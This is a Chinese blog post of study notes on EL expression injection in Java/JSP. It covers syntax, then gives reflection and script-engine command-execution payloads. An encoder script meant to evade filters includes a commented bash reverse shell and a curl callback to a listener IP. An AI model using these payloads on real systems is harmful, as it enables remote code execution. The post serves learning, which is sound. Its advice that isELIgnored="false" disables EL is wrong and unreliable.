EL表达式漏洞学习

简介

表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScriptXPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。 ——wikipedia

其本来目的是让jsp写的更简单,简化其代码

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法

基本语法

使用EL表达式语法:${EL表达式}

注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>,EL 正是用来替换脚本表达式的

JSP 中的语法

脚本程序

1
<% 这里是JAVA代码 %>

JP 声明

声明变量和方法

1
2
3
4
5
6

<%! declaration; [ declaration; ]+ ... %>

<%! int i = 0; %>
<%! int a, b, c; %>
<%! Circle a = new Circle(2.0); %>

JSP 表达式

是对数据的表示,系统将其作为一个值进行计算,表达式的值会转为 string,调用的方法必须要有返回值,不能用 ; 分号

1
2
3
4
5
6
7
8
9

<p>
今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
</p>
<% if (user != null ) { %>
Hello <B><%=user%></B>
<% } else { %>
You haven't login!
<% } %>

JSP 注释

1
2

<%-- 注释内容 --%>

JSP 指令

设置与整个JSP页面相关的属性,开头就能看到

| <%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
| —————— | ——————————————————— |
| <%@ include … %> | 包含其他文件 |
| <%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |

1
2
3
4
5

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html ....

[ ]与.运算符

EL表达式提供.[]两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user["My-Name"]}

如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

·引用对象属性或集合元素

使用 .[] 表示法

比如要获取 customer 的属性 name,则可以使用

1
2

${customer.name}

或者

1
2

${customer["name"]}

通常 []. 要普遍,因为 [] 中不只是字符串,可以是字符串表达式,可以进行动态取值,而且 . 可能受一些特殊字符的影响

以下三种写法效果相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<html>
<head>
<title>Hello</title>
</head>
<body>
hello ${param[["a","b","name"][2]]}
<br>
hello ${param["name"]}
<br>
hello ${param.name}
<br>
</body>
</html>

EL 运算符

  • 算术+-(二元), */div%mod-(一元)。
  • 字符串连接+=
  • 逻辑and&&or||not!
  • 关系==eq!=ne<lt>gt<=ge>=le。可以与其他值或布尔值,字符串,整数或浮点文字进行比较。
  • empty运算符是前缀运算,可用于确定值是null还是空。
  • 条件A ? B : C。评估BC根据的评估结果A
  • lambda表达式->,箭头标记。
  • 赋值=
  • 分号;

运算符优先级如下(从高到低,从左到右):

  • [] .
  • () (用于更改运算符的优先)
  • - (一元) not ! empty
  • * / div % mod
  • + - (二元)
  • +=
  • <> <= >= lt gt le ge
  • == != eq ne
  • && and
  • || or
  • ? :
  • ->
  • =
  • ;

除了上运算中的字符外还有一些其它的保留字符:

1
2
3
4
5
6
7
true`
`false`
`null`
`instanceof`
`empty`
`div`
`mod

变量

EL表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username,所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传””。EL表达式的属性如下:

属性范围在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

JSP表达式语言定义可在表达式中使用的以下文字:

文字 文字的值
Boolean true 和 false
Integer 与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null null

操作符

JSP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:

术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

pageContext对象

pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:

1
${pageContext.request.queryString}
类别 标识符 描述
JSP pageContext PageContext 实例对应于当前页面的处理
作用域 pageScope 与页面作用域属性的名称和值相关联的 Map 类
requestScope 与请求作用域属性的名称和值相关联的 Map 类
sessionScope 与会话作用域属性的名称和值相关联的 Map 类
applicationScope 与应用程序作用域属性的名称和值相关联的 Map 类
请求参数 param 按名称存储请求参数的主要值的 Map 类
paramValues 将请求参数的所有值作为 String 数组存储的 Map 类
请求头 header 按名称存储请求头主要值的 Map 类
headerValues 将请求头的所有值作为 String 数组存储的 Map 类
Cookie cookie 按名称存储请求附带的 cookie 的 Map 类
初始化参数 initParam 按名称存储 Web 应用程序上下文初始化参数的 Map 类

在 EL 注入中,产生的原因就是把用户输入作为 EL 表达式内容来执行,通常使用方法

1
2
3

javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()

如以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import Javax.el.*;
public class Main {
public static void main(String[] args) {
ExpressionFactory factory = new ExpressionFactoryImpl();
SimpleContext context = new SimpleContext();
String pl = "ABC ${true.toString().toUpperCase()}";
ValueExpression e = factory.createValueExpression(context, pl, String.class);
System.out.println(e.getValue(context));
}
}

常用 poc:

1
2
3
4
5
6
7
8
9
10
11
12

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

利用反射实现命令执行

1
2

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))}

EL + JS 引擎实现命令执行

1
2
复制成功
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")}

绕过

通过下面这段 EL,能够获取字符 C 则同理可以获取任意字符串

1
2

${true.toString().charAt(0).toChars(67)[0].toString()}

利用以上原理,通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤

生成 paylaod 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#coding: utf-8

#payload = "bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.169.112/7777$IFS0>&1"
#payload = "bash$IFS-c$IFS'curl 192.168.169.112:7777'"
#exp = '${pageContext.setAttribute("%s","".getClass().forName("%s").getMethod("%s","".getClass()).invoke("".getClass().forName("%s").getMethod("%s").invoke(null),"%s"))}' % ('a','java.lang.Runtime','exec','java.lang.Runtime','getRuntime','open -a Calculator.app')

def encode(payload):
encode_payload = ""
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload

exp = '${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}' % (encode('a'),encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('open -a Calculator.app'))

print(exp)

得到:

1
2

${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))}

防御

  • 过滤敏感内容
  • 使用其它方法
  • 在 JSP 中加入<%@ page isELIgnored="false" %> 禁用

https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/#0x02-%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95

https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/#0x02-%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95